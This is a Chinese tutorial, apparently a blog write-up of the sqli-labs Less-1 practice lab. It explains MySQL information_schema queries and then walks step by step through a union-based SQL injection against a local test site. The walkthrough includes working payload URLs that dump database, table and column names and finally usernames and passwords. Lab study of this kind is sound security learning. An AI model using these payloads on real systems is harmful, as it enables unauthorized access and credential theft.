Sql简单的搜索语句

       我们在数据库的增删改查中需要反复访问数据库,才能对其中的一些信息进行管理和整合,而我们查询数据库的时候一般分为四种情况:查库、查表、查列、查字段。我们打开MySql命令行,输入密码(在上一博客已经阐述如何设置)。

查库:select schema_name from information_schema.schemata;

        这条语句的意义是,从information_schema这个数据库中的一个名为schemata的表中查阅schema_name,即数据库名,输出结果是所有数据库的信息,因为schemata这个表中存储了当前mysql实例中所有数据库的名字,如下图所示:

查表:select table_name from information_schema.tables where table_schema='security';

        上面的语句是查找数据库的信息,这条语句是查找数据库中的表的信息,tables表提供了关于数据库中的表的信息(包括视图),它的意义是,从information_schema这个数据库中的一个名为tables的表中查阅table_name,即表名,并抽取关键字为security的表,即表名为security的表。输出的是security这个表中的所有信息,如下图所示:

查列:select column_name from information_schema.columns where table_name='users'

        columns表提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息,所以我们查找列的时候需要从这个表中获得信息。这条语句的意义是,从information_schema这个数据库中的一个名为columns的表中查阅column_name,即列名,其关键字为users的列。输出的是user这个表中的所有信息,如下图所示:

查字段:select username ,password from security.users;

        这条语句的意思是,在security.users表中查询username 和password,即用户名和密码,输出的结果为users表中的用户名和密码:

 

Less-1

  登录数据库:

   sql注入的目的是在不知道对方数据库中各种表的信息的情况下,通过注入各种Mysql语句来进行测试,以求获得数据路的各项信息。一般来说,我们先需要确定是数值查询还是字符查询,字符查询的时候我们才可以使用sql语句进行字符注入,然后使用联合查询等方法,把数据库中最重要的用户名和密码获取到。

  下面我们按照这个步骤进行操作:

  1.经过语句and 1=2测试 ,页面回显正常,所以该地方不是数值查询,这里说一下or和and的区别,都可以加在数据之前判断,格式为?id=1 and(or) 1=2:

      or    and: 

           A and B    在AB都正确时返回Ture,否则错误

           A or B    在AB、A或者B正确时返回Ture,都错误时就错误。

   2.接着尝试在id后面加上',发现页面回显不正常,表示可能存在SQL字符注入.单引号进行报错,是因为输出时他会自动加两个单引号括起来,这里加一个单引号会导致在后面多一个单引号:

   3.输入--+将sql后面的语句注视掉后,发现页面回显正常,则证明这个地方是单引号字符型注入。--+和 --还有  #  都是注释符,代表其后面的句子不再执行。

   4.接着使用order by 语句判断,该表中一共有几列数据,这里使用order by来判断,它代表把第几列的数据进行排序,order by后面跟着几,就是第几列:

   order by 3页面回显正常,order by 4页面回显不正常,说明此表一个有3列:

 

   5.这个时候应该确定数据库中有多少个显示位,使用联合查询union select,将多条查询语句的结果合并成一个结果。将id=1改为一个数据库不存在的id值,或者干脆把id值置空删掉,之后使用union select 1,2,3联合查询语句查看页面是否有显示位。

   发现页面先输出了2和3,说明页面有2个显示位。

  6.然后利用sql查询语句依次爆破出数据库内的数据库名,表名,列名,字段信息,这里可以通过设置语句中的limit使其逐个爆出(limit 0,1,0代表从第一位开始,1代表显示多少行,加在语句末尾):

  http://127.0.0.1/sqli-labs-master/Less-1/?id='union select 1,2,schema_name from information_schema.schemata limit 0,1--+

   http://127.0.0.1/sqli-labs-master/Less-1/?id='union select 1,2,schema_name from information_schema.schemata limit 1,1--+

  http://127.0.0.1/sqli-labs-master/Less-1/?id='union select 1,2,schema_name from information_schema.schemata limit 2,1--+

   但是我们可以使用更加简便的方法,使用group_concat()函数,可以将数据一次性爆出来,排列后进行一行输出,语句如下所示:

  http://127.0.0.1/sqli-labs-master/Less-1/?id='union select 1,2,group_concat(table_name) from information_schema.tables where table_name='security'--+

  接着爆出列名:

   我们看到列名中有我们需要的用户id,用户名和密码,即id,username,password。

   7.最后也是最关键的一步,我们需要把数据库中的用户名和密码爆出来,这里我们一样使用group_concat函数,语句如下:

  用户名:

  http://127.0.0.1/sqli-labs-master/Less-1/?id='union select 1,2,group_concat(username) from               security.users--+

   密码;

  http://127.0.0.1/sqli-labs-master/Less-1/?id='union select 1,2,group_concat(password) from                  security.users--+

   此时我们的目的事实上已经达到了,但是爆出来的username和password,我们需要一一对应自行组合,在这里我们可以使用另外一个函数:concat_ws(),格式为 concat_ws('~',A,B)   显示为A~B,这样可以把username和password一同爆出来,且格式上一一对应,单引号中的符号可以任意替换,这里我用‘----’,语句如下:

  http://127.0.0.1/sqli-labs-master/Less-1/?id='union select 1,2,group_concat(concat_ws('----',username,password)) from security.users--+

   这样我们就通过了Less-1。所有需要的操作如下: